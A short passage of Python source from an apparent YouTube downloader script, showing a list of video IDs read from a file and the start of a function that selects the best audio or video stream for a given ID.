open(TO_DOWNLOAD_PATH, 'r'))\n\"\"\"List of YouTube IDs to download\"\"\"\n\n\n\ndef get_stream(video_id: str, stream_type: t.Literal['audio', 'video']='audio') -> t.Optional[t.Tuple[str, str]]:\n \"\"\"\n Get the best stream from YouTube video ID.\n\n Returns a tuple of `(